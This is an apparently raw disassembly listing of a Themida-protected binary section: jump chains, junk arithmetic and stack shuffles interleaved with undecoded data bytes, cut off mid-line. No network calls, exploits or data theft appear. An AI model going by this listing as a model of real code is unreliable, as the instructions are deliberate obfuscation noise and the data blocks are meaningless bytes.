Themida_:0055F333j pop ecx add ebx, eax mov eax, [esp] jmp loc_5671EB ; --------------------------------------------------------------------------- dd 815AD129h, 0C60F21EFh, 81CF017Ch, 0C60F21C7h, 3C33597Ch dd 0A65EE924h, 15AFFFFh, 0D0315FFAh, 0E9C7015Ah, 738Bh dd 0E9241C87h, 0FFFF9A2Dh, 4B3483BDh, 0E551E96Dh, 0CD81FFFFh dd 41FC5767h, 0FF797BE9h, 0DFEA2DFFh, 0C701FFC0h, 5624048Bh dd 0C681E689h, 4, 4B850h, 0C6010000h, 96DE9h db 0 ; --------------------------------------------------------------------------- loc_55ED0D: ; CODE XREF: Themida_:0056092Ej xchg edi, [esp] not edi xchg edi, [esp] pop ecx xchg ecx, [esp] push dword ptr [esp] pop edi add esp, 4 sub esp, 4 jmp loc_55E6AB ; --------------------------------------------------------------------------- loc_55ED2B: ; CODE XREF: Themida_:005594E7j shr eax, 0Bh xor ecx, eax jmp loc_55A89D ; --------------------------------------------------------------------------- db 87h, 0E9h, 0F7h dd 0BCE951D5h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ED3F: ; CODE XREF: Themida_:0055F1E6j mov edx, 0FB84040h sub ebx, edx pop edx pop eax xchg ebx, [esp] jmp loc_5631BE ; --------------------------------------------------------------------------- loc_55ED50: ; CODE XREF: Themida_:00554CE9j pop esp sub eax, 2B1732ECh sub eax, edi add eax, 2B1732ECh push dword ptr [esp] pop edi add esp, 4 xor eax, [esp] jmp loc_5603C0 ; --------------------------------------------------------------------------- loc_55ED6F: ; CODE XREF: Themida_:00553F14j mov ebp, 37145EDCh sub ebp, 0FFFFFFFFh push ecx mov ecx, 6A7C2CF9h jmp loc_5582FA ; --------------------------------------------------------------------------- loc_55ED85: ; CODE XREF: Themida_:005603F0j mov edi, [esp] add esp, 4 push ebx mov ebx, 109E1189h add ebx, 756827E6h inc ebx and ebx, 6DFA4378h xor ebx, 79FB69DBh jmp loc_5673F7 ; --------------------------------------------------------------------------- db 68h, 0CAh, 64h dd 76E94983h, 8BFFFF6Eh, 0C4832404h, 5BC6804h, 2C890000h dd 1DE8BD24h, 0E5D16D36h, 0C105EDC1h, 814503E5h, 450108EDh dd 5AED81BAh, 814A4BE0h, 4A5CE6F5h, 81D5F701h, 0BF8E92EDh dd 8BEA01CCh, 0C481242Ch, 4, 621DE9h db 0 ; --------------------------------------------------------------------------- loc_55EDF9: ; CODE XREF: Themida_:0055AB70j add bl, 88h sub al, bl mov ebx, [esp] add esp, 4 jmp loc_561298 ; --------------------------------------------------------------------------- dd 0E908EFC1h, 0FFFFF8C6h ; --------------------------------------------------------------------------- loc_55EE14: ; CODE XREF: Themida_:005602C5j and eax, 29FE04E5h jmp loc_55B929 ; --------------------------------------------------------------------------- loc_55EE1E: ; CODE XREF: Themida_:00554C44j add eax, 4 push 475Dh mov [esp], ebp push eax push ecx mov ecx, 136D3197h jmp loc_55DE85 ; --------------------------------------------------------------------------- db 0C1h dd 504E06E6h, 0E450FDB8h, 58C60918h, 3B71CE81h, 0EE81478Eh dd 364A4E1Bh, 0E95EF531h, 0FFFF7456h, 0AFE3E959h, 1C89FFFFh dd 8C7DE924h, 14F70000h, 4DDBE924h, 0EB810000h, 0CB13053h dd 5A42EB81h, 0DF3157E3h, 1423055Bh, 89521B3Fh, 4C281E2h dd 53000000h, 4BBh, 5BDA2900h, 2474FF52h, 14E95A04h, 83FFFF87h dd 1C8704C3h, 24248B24h, 6945BF57h, 0E7C123DDh, 52DFF702h dd 8A5AE8BAh, 5AD72970h, 0E95FFA01h, 0FFFF8186h ; --------------------------------------------------------------------------- loc_55EEC4: ; CODE XREF: Themida_:00556663j xor edi, ebx pop ebx add esi, edi pop edi add esi, 4 push esi push dword ptr [esp+4] jmp loc_557D2A ; --------------------------------------------------------------------------- db 4 aZH4 db 'Ï,ÔZ(Øh4|',0 dw 8900h dd 98B3241Ch, 8904EC83h, 0B252240Ch, 94CA8082h, 0C005E2C0h dd 0F28008EAh, 0E9D58861h, 1843h, 71515935h, 16F4E93Dh dd 8B660000h, 5453240Ch, 0E957565Bh, 8174h ; --------------------------------------------------------------------------- loc_55EF1C: ; CODE XREF: Themida_:0055A39Dj mov eax, 729F474Bh sub dword ptr [esp+4], 4FC42C9Dh add dword ptr [esp+4], 60873C81h sub [esp+4], eax jmp loc_55F3E3 ; --------------------------------------------------------------------------- dw 5158h dd 5D3A95B9h, 8BCD2118h, 0C481240Ch, 4, 0BB53DDF7h, 0FFBEEFF9h dd 0FF66CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EF59: ; CODE XREF: Themida_:0055A685j mov edx, 24h add edx, edi push 384Ch jmp loc_55DA5B ; --------------------------------------------------------------------------- loc_55EF6A: ; CODE XREF: Themida_:0055E794j add esp, 4 sub ebp, 58CE0D44h sub esi, 75AE77C4h add esi, ebp push edx jmp loc_553388 ; --------------------------------------------------------------------------- dd 4C4815Fh, 53000000h, 2BBh, 8BD90100h, 0C481241Ch, 4 dd 31240C33h, 2E9240Ch, 5DFFFFD1h, 755168h, 240C8900h dd 4B9h, 0EBBE5600h, 0C1167C13h, 0D6F706EEh, 6564E953h dd 348B0000h, 0E1895124h, 4C181h, 0B8500000h, 0DE932B3h dd 0FFB59EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EFDD: ; CODE XREF: Themida_:00555588j pop eax sub eax, 33FA2A0Ch add ecx, eax jmp loc_55AAF0 ; --------------------------------------------------------------------------- loc_55EFEA: ; CODE XREF: Themida_:00562469j shr eax, 12h xor eax, ecx push 357Eh mov [esp], eax xchg edi, [esp] not edi xchg edi, [esp] mov eax, [esp] push 6714h mov [esp], eax push esp mov eax, [esp] add esp, 4 push ecx push edi push edx push esi mov esi, 15326825h or esi, 2A9D2040h jmp loc_5642CF ; --------------------------------------------------------------------------- db 5Dh, 87h, 1Ch dd 0EF815C24h, 1E660A6Fh, 3979E9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F036: ; CODE XREF: Themida_:00561C34j pop eax push edi push 6D1448E6h pop edi push ecx mov ecx, 247F060Ah sub ecx, 0FFFFFFFFh or ecx, 31911A05h jmp loc_56200F ; --------------------------------------------------------------------------- db 0B2h, 21h, 51h dd 88D08850h, 0CC8858C1h, 0FFF332E9h, 0ACB753FFh, 0E95BFA88h dd 0FFFFB39Bh ; --------------------------------------------------------------------------- loc_55F070: ; CODE XREF: Themida_:0055F7AFj add eax, 4 xchg eax, [esp] jmp loc_5585C3 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55F9B6 ; --------------------------------------------------------------------------- loc_55F08F: ; CODE XREF: Themida_:00557D2Bj pop dword ptr [esp] mov esp, [esp] add esp, 4 xor eax, esi xor esi, eax jmp loc_55E428 ; --------------------------------------------------------------------------- loc_55F0A4: ; CODE XREF: Themida_:00558FD0j add ebp, 4 add ebp, 4 push 92Ch mov [esp], ebp jmp loc_55DF70 ; --------------------------------------------------------------------------- dw 3C8Bh dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 0E9241487h dd 0FFFF6B00h ; --------------------------------------------------------------------------- loc_55F0D8: ; CODE XREF: Themida_:0055B841j push ebp mov ebp, esp add ebp, 4 push esi mov esi, 28C76971h shr esi, 1 not esi shr esi, 5 or esi, 0CE25B59h sub esi, 0FFEFB57h add ebp, esi pop esi jmp loc_55E235 ; --------------------------------------------------------------------------- loc_55F102: ; CODE XREF: Themida_:00563A29j pop edi jmp loc_55AD84 ; --------------------------------------------------------------------------- loc_55F108: ; CODE XREF: Themida_:0055CFB0j mov [esp], esi push dword ptr [esp] pop eax push edi jmp loc_5542EF ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 5A240C89h, 833DE959h, 0BE56FFFFh, 4, 557CE9h db 0 ; --------------------------------------------------------------------------- loc_55F12D: ; CODE XREF: Themida_:00556299j dec ecx xor ecx, 6D96650Ch add edx, ecx jmp loc_553A58 ; --------------------------------------------------------------------------- db 59h dd 34FFD030h, 0C4835A24h, 10B25204h, 0F602EAC0h, 0A7CA80DAh dd 18B55153h, 0EB285BB3h, 0FFEB2CE9h, 0CBE958FFh, 0F600004Ch dd 33CB80D3h, 0E3EB80h, 0B3535BDDh, 5BDD28D9h, 0FFAE61E9h dd 58C501FFh, 4C581h, 2C870000h, 0A4E95C24h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F18B: ; CODE XREF: Themida_:0055D8C0j sub ecx, 105F52FBh add ecx, ebp jmp loc_55A474 ; --------------------------------------------------------------------------- dd 0C28017B2h, 8E2C07Ah, 0E916EA80h, 0FFFF381Eh, 7BCD815Eh dd 0E951A30Fh, 834h, 801C78BAh, 230BBE7Eh, 0D631536Bh dd 5EC1E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F1C6: ; CODE XREF: Themida_:0056200Aj push eax push edx mov edx, 74155957h mov eax, 74155959h sub eax, edx mov edx, [esp] add esp, 4 add ebx, 0FB84040h sub ebx, eax push edx jmp loc_55ED3F ; --------------------------------------------------------------------------- loc_55F1EB: ; CODE XREF: Themida_:loc_55309Bj ; Themida_:005605DEj push 4179h mov [esp], ebp sub esp, 4 mov [esp], ebx add dword ptr [esp], 56215329h push dword ptr [esp] pop ebp add esp, 4 sub ebp, 56215329h push edx push ebp push 0B41h mov [esp], edi mov edi, 57C95A30h sub [esp+4], edi push dword ptr [esp] pop edi add esp, 4 mov edx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_55FC3E ; --------------------------------------------------------------------------- loc_55F23B: ; CODE XREF: Themida_:005539C8j add al, 7Ch jmp loc_562727 ; --------------------------------------------------------------------------- dw 0BF57h dd 514E4B14h, 824FE9h, 757EBB00h, 17BD7458h, 0E96D6542h dd 152h, 0E95DEA09h, 804Dh, 8124148Bh, 4C4h, 6FE95D00h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F273: ; CODE XREF: Themida_:005672DAj push dx mov dl, 0C5h mov bl, dl mov dx, [esp] add esp, 2 jmp loc_561D66 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0AEh dd 1661816h, 0AEC681C6h, 81661816h, 8F5255EEh, 24048B39h dd 6804C483h, 517Dh, 0BB241C89h, 2, 0EFE9DE01h, 0B9FFFF48h dd 55C6282Eh, 34FFCB29h db 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55B90A ; --------------------------------------------------------------------------- dd 7B1343BFh, 0AB08E91Fh, 0C201FFFFh, 7206BB53h, 0DA011CAEh dd 35CEE95Bh, 0C281FFFFh, 47E40AC8h, 2C9DE9h, 4D82800h dd 241C8B29h, 0E9E68956h, 0FFFF7A21h ; --------------------------------------------------------------------------- loc_55F300: ; CODE XREF: Themida_:005583F8j mov edx, esp add edx, 4 jmp loc_55BF9B ; --------------------------------------------------------------------------- loc_55F30D: ; CODE XREF: Themida_:0055D6CDj or edi, 20816A27h xor edi, 68883556h add eax, edi pop edi push 4E6Ah mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_5617CE ; --------------------------------------------------------------------------- loc_55F331: ; CODE XREF: Themida_:0055948Fj mov eax, ecx jmp loc_55EC9D ; --------------------------------------------------------------------------- dd 8B240C87h, 10E92424h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F343: ; CODE XREF: Themida_:005539AFj mov ebx, [esp] jmp loc_558FF3 ; --------------------------------------------------------------------------- loc_55F34B: ; CODE XREF: Themida_:005651B8j mov bl, 0C3h push ecx jmp loc_55929A ; --------------------------------------------------------------------------- db 30h dd 3CD1E9C3h, 0E089FFFFh, 0FFFDC1E9h, 22E955FFh, 8BFFFFA7h dd 0C483242Ch, 16882D04h, 0C80151ADh, 0AD168805h, 5F1D2D51h dd 34FF74F0h, 0EC835924h, 24348904h, 0D72AE954h, 5B54FFFFh dd 4C381h, 7E90000h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F39B: ; CODE XREF: Themida_:0056789Fj inc eax or eax, 52F060F1h sub eax, 0AF2D1203h xor edx, eax pop eax jmp loc_55D705 ; --------------------------------------------------------------------------- dw 0ED81h dd 3BEFE497h, 8BE9DD31h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F3BB: ; CODE XREF: Themida_:00559D59j mov [esp], ecx mov ecx, 1 push eax push ebp mov ebp, 664D2F15h jmp loc_553F6E ; --------------------------------------------------------------------------- loc_55F3CF: ; CODE XREF: Themida_:0055D3DDj pop edx push esi mov esi, 5D0978C9h xor esi, 4137562Ch not esi jmp loc_56266B ; --------------------------------------------------------------------------- loc_55F3E3: ; CODE XREF: Themida_:0055EF35j sub dword ptr [esp+4], 60873C81h sub esp, 4 mov [esp], esi mov esi, 4FC42C9Dh add [esp+8], esi jmp loc_565F37 ; --------------------------------------------------------------------------- dw 0D388h dd 0E9DD885Ah, 0FFFFF84Fh ; --------------------------------------------------------------------------- loc_55F40C: ; CODE XREF: Themida_:00562D17j add esp, 4 mov edx, [esp] add esp, 4 push edx not dword ptr [esp] pop edx push 6870h mov [esp], esi sub esp, 4 mov [esp], edx jmp loc_563801 ; --------------------------------------------------------------------------- dd 48F28058h, 0D5004DB5h, 8324148Bh, 0E83004C4h, 240C8B66h dd 3002C483h, 0C0B60FC3h, 0E98734FFh, 0FFFF941Dh ; --------------------------------------------------------------------------- loc_55F454: ; CODE XREF: Themida_:00554267j add eax, 2041589Bh push edi mov edi, 47D83189h inc edi inc edi shl edi, 4 sub edi, 0B6A314Bh xor edi, 0F1C41517h sub eax, edi jmp loc_553C69 ; --------------------------------------------------------------------------- db 89h dd 243C8BF8h, 4C481h, 0C5890000h, 3AE2E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F48A: ; CODE XREF: Themida_:0055E33Dj ; Themida_:loc_564AB4j push 46Dh mov [esp], eax mov eax, esp push 53A6h jmp loc_562384 ; --------------------------------------------------------------------------- dw 2C89h dd 21F3BD24h, 0EF015120h, 4BE9575Dh db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F4AF: ; CODE XREF: Themida_:00555FC0j push ecx mov ecx, esp jmp loc_55FD0A ; --------------------------------------------------------------------------- db 81h dd 0A677E8E1h, 4BB8503Eh, 2D709625h, 5DF3C07Fh, 0E958C131h dd 5100h ; --------------------------------------------------------------------------- loc_55F4D0: ; CODE XREF: Themida_:0055B9CDj sub ecx, esi jmp loc_567718 ; --------------------------------------------------------------------------- db 81h dd 857D82C2h, 243C8B54h, 8104C483h, 404008EAh, 81DA2954h dd 404008C2h, 1B87E954h, 24890000h, 24048124h, 4, 0E089505Bh dd 405h, 4E88300h, 5C240487h, 0BE243489h, 0D545854h, 0E904EC83h dd 0FFFF3EF8h, 2404FF55h, 15F5815Dh, 55943286h, 66242C81h dd 590DD930h, 286BE9h db 0 ; --------------------------------------------------------------------------- loc_55F539: ; CODE XREF: Themida_:005576A7j and edx, 7D1847FAh xor edx, 4C8E6B6Dh or edx, 14FC5768h neg edx xor edx, 0A39435A4h add edx, esi pop esi add edx, 4F621573h neg edx neg edx add edx, 5ECC425Ah neg edx push eax mov eax, 1BD73253h dec eax shl eax, 4 xor eax, 26151CDAh or eax, 1E3D6087h jmp loc_55D534 ; --------------------------------------------------------------------------- loc_55F581: ; CODE XREF: Themida_:0055D967j push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp push ebx jmp loc_557E6E ; --------------------------------------------------------------------------- loc_55F5A1: ; CODE XREF: Themida_:0055D85Aj sub ch, 0CBh sub ch, dl push ax mov ah, 0CBh add ch, ah pop ax mov dx, [esp] jmp loc_556B26 ; --------------------------------------------------------------------------- loc_55F5B7: ; CODE XREF: Themida_:00562FDCj add esp, 4 add eax, 4 jmp loc_55FAB0 ; --------------------------------------------------------------------------- loc_55F5C7: ; CODE XREF: Themida_:00555547j and edx, ecx pop ecx shl edx, 7 jmp loc_563EF0 ; --------------------------------------------------------------------------- loc_55F5D2: ; CODE XREF: Themida_:00559EE2j push esp jmp loc_564165 ; --------------------------------------------------------------------------- dd 4C481h, 0D0310000h, 4EC835Ah, 0BD242C89h, 6DD90FE7h dd 2D7BED81h, 0BEE9106Ah db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F5F7: ; CODE XREF: Themida_:00554F8Cj mov ebp, 0E781E3Ch add [esp+8], ebp pop ebp jmp loc_55301E ; --------------------------------------------------------------------------- loc_55F606: ; CODE XREF: Themida_:00566813j xor edx, 27B92D37h or edx, 1010882h jmp loc_55A33F ; --------------------------------------------------------------------------- loc_55F617: ; CODE XREF: Themida_:005623D3j mov [esp], ebx push ebp mov ebp, 26C437D6h mov ebx, 0D93BC82Eh add ebx, ebp pop ebp add eax, 20E6035Eh add eax, ebx sub eax, 20E6035Eh mov ebx, [esp] add esp, 4 jmp loc_55A98A ; --------------------------------------------------------------------------- loc_55F63F: ; CODE XREF: Themida_:0055BA27j jz loc_555FAD push 66D5h jmp loc_555693 ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 240C8B00h, 8104C483h, 4ECh, 2FF1E900h dd 0F3810000h, 1EB411D0h, 0FFA818E9h, 3184E9FFh, 8758FFFFh dd 535C2434h, 107168h, 24348900h, 0FD167768h, 2434FF51h dd 4C4835Eh, 0FF7E3CE9h, 565E5BFFh, 4B1B54BEh, 2C30B932h dd 0C181A781h, 6A927FB1h, 9F68F129h, 89000021h, 0E9552404h dd 3F5Bh ; --------------------------------------------------------------------------- loc_55F6BC: ; CODE XREF: Themida_:00561F9Fj push eax mov eax, esp add eax, 4 push ebp mov ebp, 4 sub eax, ebp mov ebp, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_55611D ; --------------------------------------------------------------------------- dw 5954h dd 0FFBF02E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F6ED: ; CODE XREF: Themida_:0055AB16j add esp, 4 add esp, 4 jmp loc_5591BF ; --------------------------------------------------------------------------- dw 0D929h dd 0AEB8505Bh, 212AFF7Eh, 1FE958C1h, 25000033h, 72AC32C9h dd 0E904EC83h, 0FFFFD1B6h, 448768h, 24048900h, 0FF30D5E9h dd 242C89FFh, 75E9B850h, 0E72D67B1h, 5067B175h, 8E242C81h dd 0E952A245h, 5590h, 8058E530h, 0EB88BEEDh, 5444E9h db 0 ; --------------------------------------------------------------------------- loc_55F751: ; CODE XREF: Themida_:0055C925j sub ecx, 587B06D1h xor ecx, 7A034B3h push edx mov edx, 76B53298h or ecx, edx pop edx push 6D87h mov [esp], ebx jmp loc_55CAF9 ; --------------------------------------------------------------------------- loc_55F773: ; CODE XREF: Themida_:0055BBAEj add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], esi mov esi, 727656A3h add edx, esi pop esi xor edx, 4ACCB61Dh and ecx, edx push dword ptr [esp] pop edx sub esp, 4 mov [esp], edx push esp pop edx push eax push ebx jmp loc_557D4A ; --------------------------------------------------------------------------- loc_55F7A8: ; CODE XREF: Themida_:00555044j mov eax, esp add eax, 4 jmp loc_55F070 ; --------------------------------------------------------------------------- dd 4C481h, 34870000h, 24248B24h, 765C68h, 24348900h, 13F768h dd 243C8900h, 57771468h, 38BE5F65h, 81A414D4h, 0DB3251C6h dd 81FE0165h, 0DB3251EEh, 3D9BE965h, 0EC830000h, 240C8904h dd 8904EC83h, 58592404h, 248DC981h, 0EC8352B6h, 242C8904h dd 627327BDh, 2E5C154h, 72A1BE56h, 0F68101AFh, 0EECAF0DEh dd 0F8E9F501h db 39h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F823: ; CODE XREF: Themida_:0055E6C6j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push eax mov eax, 1DF15B83h or eax, 2DA0286Fh jmp loc_555F1E ; --------------------------------------------------------------------------- loc_55F842: ; CODE XREF: Themida_:0055642Ej and ebx, 734E5DC6h push ebp mov ebp, 741A5143h sub ebp, 756D1328h dec ebp shl ebp, 6 or ebp, 3E0E4245h and ebp, 940D1Ah xor ebp, 7348DDC0h xor ebx, ebp pop ebp mov ecx, ebx pop ebx sub esp, 4 mov [esp], ecx sub dword ptr [esp], 20034051h push dword ptr [esp] pop edi add esp, 4 add edi, 20034051h mov ecx, [esp] add esp, 4 and eax, edi jmp loc_55DA8B ; --------------------------------------------------------------------------- dw 0E921h dd 8BB0E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F8A2: ; CODE XREF: Themida_:00567991j add edi, 0E2F39A48h add ebp, edi jmp loc_566A8F ; --------------------------------------------------------------------------- db 66h dd 665FF931h, 5598F181h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5537EB ; --------------------------------------------------------------------------- loc_55F8C0: ; CODE XREF: Themida_:0055799Aj pop edi and eax, esi pop esi or eax, eax jz loc_55A85E push dword ptr [edi+1Ch] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_5650C8 ; --------------------------------------------------------------------------- dw 8768h dd 89000019h, 77B82404h, 53117B09h, 46143BBBh, 3AA5682Eh dd 71E90000h, 81FFFF58h, 0DE74B5C1h, 66E9813Fh, 892F3520h dd 0AC0559C8h, 0E91AB661h, 0FFFF8F0Ch ; --------------------------------------------------------------------------- loc_55F91C: ; CODE XREF: Themida_:00555979j pop esp mov [esp], ebx push edx push eax mov al, 0Eh push ebx mov bl, al mov dh, bl pop ebx pop eax jmp loc_564F6B ; --------------------------------------------------------------------------- dd 241C8B58h, 4C481h, 52500000h, 0E011A68h, 0CA815A6Bh dd 198C74D2h, 3FF281h, 81521F7Eh, 66D12434h, 73E92042h dd 58FFFFA6h, 0FFB591E9h, 575A54FFh, 4BFh, 5FFA0100h, 8704C283h dd 15C2414h, 45E959CFh, 8100006Ch, 0C6B31F6h, 8DE9462Ch db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F987: ; CODE XREF: Themida_:005663A5j sub eax, esi sub eax, 2AD85555h pop esi add eax, 41957078h push ebx push 10BC5197h pop ebx shl ebx, 4 add ebx, 49C108E7h jmp loc_55B32D ; --------------------------------------------------------------------------- db 1, 0D5h, 5Ah aZQs db '‡,$\QéÒ\',0 align 2 loc_55F9B6: ; CODE XREF: Themida_:0055F08Aj xchg ebp, [esp] pop esp jmp loc_556C3E ; --------------------------------------------------------------------------- loc_55F9BF: ; CODE XREF: Themida_:005554EEj sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 jmp loc_567BBD ; --------------------------------------------------------------------------- dd 0E958C300h, 0FFFF8C3Eh, 0E95DEA89h, 0FFFF78D8h, 5DBBB53h dd 0E3810D8Eh, 2A1D7CFAh, 90ACB81h, 1DE9445Dh, 89FFFF88h dd 0D822E9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FA06: ; CODE XREF: Themida_:00554195j inc ebp or ebp, 0C637B76h sub ebp, 1 jmp loc_5665F3 ; --------------------------------------------------------------------------- loc_55FA18: ; CODE XREF: Themida_:00561784j pop esp mov [esp], ecx mov ch, 0B6h neg ch not ch push ax mov ah, 62h add ch, ah pop ax push cx mov ch, 0F5h jmp loc_55A894 ; --------------------------------------------------------------------------- loc_55FA33: ; CODE XREF: Themida_:00558DB6j push ebx mov ebx, 382E5DF9h jmp loc_559A1E ; --------------------------------------------------------------------------- dw 2858h dd 0E95A66F0h, 0F85h, 0EA81FA01h, 34E20CD2h, 0FFF665E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FA55: ; CODE XREF: Themida_:00553FC8j push edx push esi mov esi, 7AED1F17h or esi, 11357FFCh shl esi, 8 add esi, 68D63703h jmp loc_564E3C ; --------------------------------------------------------------------------- loc_55FA70: ; CODE XREF: Themida_:005614BAj xor ah, 0D9h sub bl, ah jmp loc_554D3A ; --------------------------------------------------------------------------- dw 0F781h dd 0D1F1F2Fh, 21A5EF81h, 0C781176Fh, 0C48600D8h, 815FF901h dd 4C1h, 240C8700h, 5324248Bh, 0C381E389h, 4, 8704C383h dd 0E95C241Ch, 40C5h ; --------------------------------------------------------------------------- loc_55FAB0: ; CODE XREF: Themida_:0055F5C2j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push 5EBEh jmp loc_556892 ; --------------------------------------------------------------------------- dw 6855h dd 2, 8BEF015Dh, 0C481242Ch, 4, 0FFCC2BE9h, 243C89FFh dd 0B7102ABFh, 4A97E911h, 5AB50000h, 0EF3074B7h, 0FF8419E9h dd 4EC83FFh, 0FFFC2CE9h, 0F4C381FFh, 29F2DBF6h, 241C8BDEh dd 4C481h, 0E6C10000h, 6EE95007h, 5000006Fh, 907078B8h dd 58C32969h, 1C8BDE01h, 0E7895724h, 4C781h, 46E90000h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB33: ; CODE XREF: Themida_:0055690Cj xchg edx, [esp] pop esp mov [esp], edx jmp loc_55B8EB ; --------------------------------------------------------------------------- loc_55FB3F: ; CODE XREF: Themida_:0055A8C4j push ebx push edx mov edx, 301B6A2Ah dec edx push eax mov eax, 48B354D7h or edx, eax pop eax shr edx, 4 push ebx mov ebx, 56117069h add edx, ebx jmp loc_56312D ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 71B7h, 7204E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB6E: ; CODE XREF: Themida_:00565129j push esi mov esi, 57A92ABEh jmp loc_566CC7 ; --------------------------------------------------------------------------- db 0FEh, 0CEh, 80h dd 0F680F7EEh, 0FDF6805Eh, 8053EE80h, 15E9CEC6h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB8F: ; CODE XREF: Themida_:005598B7j pop dword ptr [esp] mov esp, [esp] add esp, 4 jmp loc_55DF23 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 81000000h, 921643C6h, 0E9D6017Ah, 3EBCh, 5B66DA28h dd 0E96AC280h, 0FFFF7B28h ; --------------------------------------------------------------------------- loc_55FBBC: ; CODE XREF: Themida_:00566D1Aj mov esi, 1B26Ch jmp loc_566EE6 ; --------------------------------------------------------------------------- dw 0C483h dd 5F545704h, 4C781h, 0C7810000h, 4, 0E9243C87h, 0FFFF32B3h dd 52F8685Ah, 2C890000h, 8081E924h, 815BFFFFh, 6B7743C1h dd 4F1BE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FBFA: ; CODE XREF: Themida_:005663CAj add esp, 4 add ebx, 6D093D5Eh mov ecx, [esp] add esp, 4 jmp loc_558BD8 ; --------------------------------------------------------------------------- loc_55FC14: ; CODE XREF: Themida_:00566C78j mov [esp], ebp push edx push 8D9h mov [esp], esi mov esi, 1DBE31F6h xor esi, 153E6709h sub esi, 88056FBh push esi add dword ptr [esp], 14F20D29h jmp loc_55ACEF ; --------------------------------------------------------------------------- loc_55FC3E: ; CODE XREF: Themida_:0055F236j add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push eax mov eax, 3EBE488Ah add eax, 190B11A6h add edx, eax jmp loc_556EF9 ; --------------------------------------------------------------------------- db 0Dh, 0C4h, 5Dh dd 0BA52640Eh, 2E188Ch, 0C106E2C1h, 0F28104E2h, 0CDACEFCBh dd 815AD031h, 0D73800EAh, 0E237E976h, 0EC81FFFFh, 4, 0E9242C89h dd 4438h ; --------------------------------------------------------------------------- loc_55FC90: ; CODE XREF: Themida_:0055784Cj mov esi, eax jmp loc_55741B ; --------------------------------------------------------------------------- db 81h dd 874B39CDh, 6E5C139h, 0E952DDF7h, 0FFFFA3C0h ; --------------------------------------------------------------------------- loc_55FCA8: ; CODE XREF: Themida_:005603E1j add dword ptr [esp], 50D3503Dh pop dword ptr [edi+24h] sub dword ptr [edi+24h], 50D3503Dh pop ecx jmp loc_564CE3 ; --------------------------------------------------------------------------- db 0FEh dd 0FEC1FEC9h, 0B9C180C9h, 0FF5A3DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FCCD: ; CODE XREF: Themida_:0056787Cj sub [esp+8], ecx pop ecx add [esp+4], edi add dword ptr [esp+4], 654E0F49h jmp loc_56375C ; --------------------------------------------------------------------------- loc_55FCE3: ; CODE XREF: Themida_:005589A1j add esi, 4 jmp loc_561107 ; --------------------------------------------------------------------------- loc_55FCEE: ; CODE XREF: Themida_:0055B483j add esp, 4 add [esp+8], ebp pop ebp add [esp+4], ebp push 699h mov [esp], esi jmp loc_55977D ; --------------------------------------------------------------------------- loc_55FD0A: ; CODE XREF: Themida_:0055F4B2j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebx push 83019A7h mov ebx, [esp] push esi jmp loc_5599BB ; --------------------------------------------------------------------------- db 80h, 0EAh, 5Fh dd 61C28059h, 87E95166h, 83FFFF73h, 0ACE904E8h, 0C1FFFFDFh dd 0EC8105E5h, 4, 0BA241489h, 540717F0h, 814ADAF7h, 1EAh dd 7E2C100h, 3964E94Ah, 6853FFFFh, 415F78F3h, 0CAC3815Bh dd 8127273Ah, 0F54B97E3h, 85EB8152h, 8925B5F9h, 8F685BDDh dd 8900001Bh, 65E9240Ch, 81FFFF6Ch, 4C6h, 4EE8300h, 5C243487h dd 0FF9FC1E9h, 24248BFFh, 9C242CD2h, 0FF2A55E9h, 96C781FFh dd 5B0B3E52h, 619AC181h, 0E981771Dh, 73D92BD2h, 28E9F901h dd 57FFFF6Eh, 2BFh, 4EC8300h, 0BB241C89h, 66F74ACEh, 0B2E9D3F7h dd 28FFFF44h, 2434FFD1h, 4C4835Ah, 51A9B753h, 0EF2087B5h dd 